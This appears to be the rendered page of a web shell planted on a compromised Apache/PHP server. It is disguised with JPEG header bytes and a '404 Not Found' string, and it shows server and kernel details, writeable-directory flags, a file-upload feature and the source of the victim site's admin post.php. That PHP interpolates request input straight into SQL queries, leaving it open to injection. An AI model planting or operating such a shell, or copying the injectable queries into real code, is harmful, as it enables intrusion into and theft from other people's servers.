ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/emoji_cat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/emoji_cat/post.php
<?php
global $func,$CORE,$DB;
$CORE->page_title = 'Update emoji category';
$emoji_cat_id = (isset($CORE->input['emoji_cat_id']) && $CORE->input['emoji_cat_id']>0) ? $CORE->input['emoji_cat_id']: 0;
if($emoji_cat_id>0) {
    $post = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji_cat WHERE emoji_cat_id='$emoji_cat_id' "));
}else{
    $post = $DB->get_colum_tb('tb_emoji_cat');
    $post['emoji_cat_img'] = '';
}
if(isset($CORE->input['submitbt'])){
    $emoji_cat_id = (isset($CORE->input['emoji_cat_id']) && $CORE->input['emoji_cat_id']>0) ? $CORE->input['emoji_cat_id']: 0;
    $f = $CORE->input['f'];
    $emoji_cat_fname = $func->format_string(trim($f['emoji_cat_name']));
    $emoji_cat_fname = str_replace('-','_',$emoji_cat_fname);
    if(intval($emoji_cat_id)==0){
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji_cat WHERE emoji_cat_fname='".$emoji_cat_fname."' "));
        if(!$row_check){
            $arr_insert = array('emoji_cat_name'=>trim($f['emoji_cat_name']),'emoji_cat_fname'=>$emoji_cat_fname,'emoji_cat_pos'=>intval($f['emoji_cat_pos']));
            $emoji_cat_id = $DB->do_insert('tb_emoji_cat',$arr_insert);
        }
    }else {
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji_cat WHERE emoji_cat_fname='".$emoji_cat_fname."' AND emoji_cat_id!='$emoji_cat_id' "));
        if(!$row_check){
            $arr_update = array('emoji_cat_name'=>trim($f['emoji_cat_name']),'emoji_cat_fname'=>$emoji_cat_fname,'emoji_cat_pos'=>intval($f['emoji_cat_pos']));
            $DB->do_update('tb_emoji_cat',$arr_update," WHERE emoji_cat_id='$emoji_cat_id' ");
        }
    }
    if($_FILES['image_field'] and $_FILES['image_field']['name']!=''){
        if(!exif_imagetype($_FILES['image_field']['tmp_name'])){
            exit('File must is image file');
        }
        $v_folder = "upload/emoji/".date('Y') . "/" . date('m');
        if (!is_dir($v_folder)) {
            mkdir($v_folder, 0755,true);
        }
        $v_image_folder = $v_folder.'/'.$emoji_cat_id.'-'.time().'-'.basename($_FILES['image_field']['name']);
        if(move_uploaded_file($_FILES['image_field']['tmp_name'],$v_image_folder)){
            $row_check_img = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji_cat WHERE  emoji_cat_id='$emoji_cat_id' "));
            if($row_check_img['emoji_cat_img']!='' and file_exists($row_check_img['emoji_cat_img'])){
                unlink($row_check_img['emoji_cat_img']);
            }
            $DB->query("UPDATE tb_emoji_cat SET emoji_cat_img='".$v_image_folder."' WHERE emoji_cat_id='$emoji_cat_id' ");
        }
    }
    close_popup('Updated');
    exit();
}
include 'include/block/header_popup.php';
?>
    <div class="card">
        <div class="card-header bg-success text-white">Update Emoji category</div>
        <div class="card-body">
            <form action="" method="post" enctype="multipart/form-data" id="form_hoan_tra">
                <input type="hidden" value="<?php echo $emoji_cat_id;?>" name="emoji_cat_id">
                <div class="row">
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Position:</label>
                            <input type="text" value="<?php echo $post['emoji_cat_pos'];?>" name="f[emoji_cat_pos]" class="form-control" required>
                        </div>
                    </div>
                    <div class="col-sm-8">
                        <div class="form-group">
                            <label>Emoji category name:</label>
                            <input type="text" value="<?php echo $post['emoji_cat_name'];?>" name="f[emoji_cat_name]" class="form-control" required>
                        </div>
                    </div>
                </div>

                <div class="row">
                    <div class="col-sm-12">
                        <div class="form-group">
                            <label>Emoji category image</label>
                            <input type="file" class="dropify form-control" name="image_field" data-default-file="<?php
                            if($post['emoji_cat_img']!='' and file_exists($post['emoji_cat_img'])){
                                echo $post['emoji_cat_img'];
                            }
                            ?>" data-max-file-size="1M" data-allowed-file-extensions="png jpg gif webp" data-height="100">
                        </div>
                    </div>
                </div>

                <input type="submit" class="submit" style="display:none;" name="submitbt">
            </form>
        </div>
        <div class="card-footer">
            <a class="gui_yeu_cau btn btn-danger" href="javascript:void(0);">Submit</a>
            <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Close</a>
        </div>
    </div>

    <script>
        $('.mydatepicker, #datepicker').datepicker({
            format: 'dd-mm-yyyy',
        });
        $('.gui_yeu_cau').click(function (){
            $('#form_hoan_tra .submit').click();
            return false;
        });
        $('.dong').click(function (){
            window.close();
        });
        /*$('.reset_pass').click(function (){
            var user_id = $(this).attr('rel');
            $.ajax({url: "?act=admin&code=users&type=reset_pass&user_id="+user_id, success: function(result){
                    alert('Password changed!');
                    location.reload();
                }});

        });*/
    </script>
<?php
include 'include/block/footer_popup.php';
exit();
?>

ZeroDay Forums Mini